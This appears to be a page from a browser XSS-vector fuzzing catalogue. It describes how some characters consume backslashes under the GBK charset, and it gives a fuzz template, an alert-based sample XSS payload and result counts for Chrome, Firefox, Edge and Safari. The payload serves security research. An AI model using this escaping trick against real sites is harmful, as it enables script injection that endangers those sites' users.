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Characters that cause the backslash to be consumed with GBK charset

Chrome logo 62.5k
Firefox logo 62.5k
Edge logo 62.5k
Safari logo 62.5k

This vector demonstrates that certain characters consume backslashes when using a GBK charset

hackvertor
Created byhackvertor
Created Nov 7, 2024
Updated May 28, 2025

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CategoryCharacter Encoding
VisibilityPublic
TypeXSS
CharsetGBK
Template used:
<script>"$[chr]\"-log($[i])//"</script>

Sample payloads

<script>"\\"-alert(92)//"</script>

Fuzz results

Chrome logo
Chrome 145.0.0.0 desktop Windows NT 10.0
Updated16 Feb 2026
Found 62529 results
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Chrome logo
Chrome 144.0.0.0 desktop macOS 10.15.7older version
Updated25 Jan 2026
Found 62529 results
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Firefox logo
Firefox 148.0 desktop Windows NT 10.0
Updated23 Feb 2026
Found 62529 results
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Firefox logo
Firefox 147.0 desktop macOS 10.15older version
Updated25 Jan 2026
Found 62529 results
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Edge logo
Microsoft Edge 145.0.0.0 desktop Windows NT 10.0
Updated17 Feb 2026
Found 62529 results
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Safari logo
Safari 18.0 desktop macOS 10.15.7
Updated8 Nov 2024
Found 62529 results
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